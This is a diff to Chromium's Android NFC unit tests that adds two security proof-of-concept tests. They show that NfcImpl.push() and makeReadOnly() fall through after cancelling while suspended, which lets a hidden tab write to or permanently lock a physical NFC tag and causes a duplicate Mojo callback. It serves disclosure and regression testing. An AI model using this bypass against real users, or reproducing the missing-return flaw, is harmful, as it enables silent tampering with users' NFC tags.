diff --git a/services/device/nfc/android/junit/src/org/chromium/device/nfc/NFCTest.java b/services/device/nfc/android/junit/src/org/chromium/device/nfc/NFCTest.java index afdb012d22e8f..f8398e40f46a0 100644 --- a/services/device/nfc/android/junit/src/org/chromium/device/nfc/NFCTest.java +++ b/services/device/nfc/android/junit/src/org/chromium/device/nfc/NFCTest.java @@ -1210,6 +1210,90 @@ public class NFCTest { assertEquals(NdefErrorType.OPERATION_CANCELLED, mErrorCaptor.getValue().errorType); } + /** + * SECURITY POC: hidden-tab visibility-gate bypass for push(). + * + * NfcImpl.push() checks mOperationsSuspended and calls callback(OPERATION_CANCELLED) but + * omits the `return`. Execution falls through, queues the write, and re-enables reader + * mode. A subsequent tag tap writes to the physical tag while the tab is hidden, and the + * Mojo callback is invoked a second time (double response). + * + * This test PASSES on vulnerable builds — each verify() demonstrates an exploit step. + * After the bug is fixed (return added), every verify() in this test must be inverted. + */ + @Test + @Feature({"NFCTest"}) + public void testPushSuspendedVisibilityBypass_SECURITY() throws Exception { + TestNfcImpl nfc = new TestNfcImpl(mContext, mDelegate); + // Tab goes HIDDEN -> NFCHost::OnVisibilityChanged -> SuspendNFCOperations. + nfc.suspendNfcOperations(); + mDelegate.invokeCallback(); + + // Hidden tab issues NDEFReader.write() over Mojo. + Push_Response mockCallback = mock(Push_Response.class); + nfc.push(createMojoNdefMessage(), createNdefWriteOptions(), mockCallback); + + // BUG #1 DEMONSTRATED: reader mode is re-enabled even though operations are + // suspended, because the missing `return` allowed mPendingPushOperation to be + // queued and enableReaderModeIfNeeded() has no mOperationsSuspended check. + verify(mNfcAdapter, times(1)) + .enableReaderMode( + any(Activity.class), + any(ReaderCallback.class), + anyInt(), + nullable(Bundle.class)); + + // User taps an NFC tag while the attacker tab is still hidden. + nfc.processPendingOperationsForTesting(mNfcTagHandler); + + // BUG #2 DEMONSTRATED: the tag is physically written while the tab is hidden. + verify(mNfcTagHandler, times(1)).write(any(android.nfc.NdefMessage.class)); + + // BUG #3 DEMONSTRATED: the Mojo callback is invoked twice — first with + // OPERATION_CANCELLED inside push(), then with null (success) after the + // queued write completes. This is a duplicate Mojo response. + verify(mockCallback, times(2)).call(mErrorCaptor.capture()); + List calls = mErrorCaptor.getAllValues(); + assertEquals(NdefErrorType.OPERATION_CANCELLED, calls.get(0).errorType); + assertNull(calls.get(1)); + } + + /** + * SECURITY POC: hidden-tab visibility-gate bypass for makeReadOnly(). + * Same root cause as above; makeReadOnly() permanently locks the tag. + * This test PASSES on vulnerable builds — each verify() demonstrates an exploit step. + */ + @Test + @Feature({"NFCTest"}) + public void testMakeReadOnlySuspendedVisibilityBypass_SECURITY() throws Exception { + TestNfcImpl nfc = new TestNfcImpl(mContext, mDelegate); + nfc.suspendNfcOperations(); + mDelegate.invokeCallback(); + + MakeReadOnly_Response mockCallback = mock(MakeReadOnly_Response.class); + nfc.makeReadOnly(mockCallback); + + // BUG #1 DEMONSTRATED: reader mode re-enabled while suspended. + verify(mNfcAdapter, times(1)) + .enableReaderMode( + any(Activity.class), + any(ReaderCallback.class), + anyInt(), + nullable(Bundle.class)); + + // User taps an NFC tag while the attacker tab is still hidden. + nfc.processPendingOperationsForTesting(mNfcTagHandler); + + // BUG #2 DEMONSTRATED: the tag is permanently locked while the tab is hidden. + verify(mNfcTagHandler, times(1)).makeReadOnly(); + + // BUG #3 DEMONSTRATED: double Mojo response. + verify(mockCallback, times(2)).call(mErrorCaptor.capture()); + List calls = mErrorCaptor.getAllValues(); + assertEquals(NdefErrorType.OPERATION_CANCELLED, calls.get(0).errorType); + assertNull(calls.get(1)); + } + /** Test that Nfc.suspendNfcOperations() cancels pending push operation. */ @Test @Feature({"NFCTest"})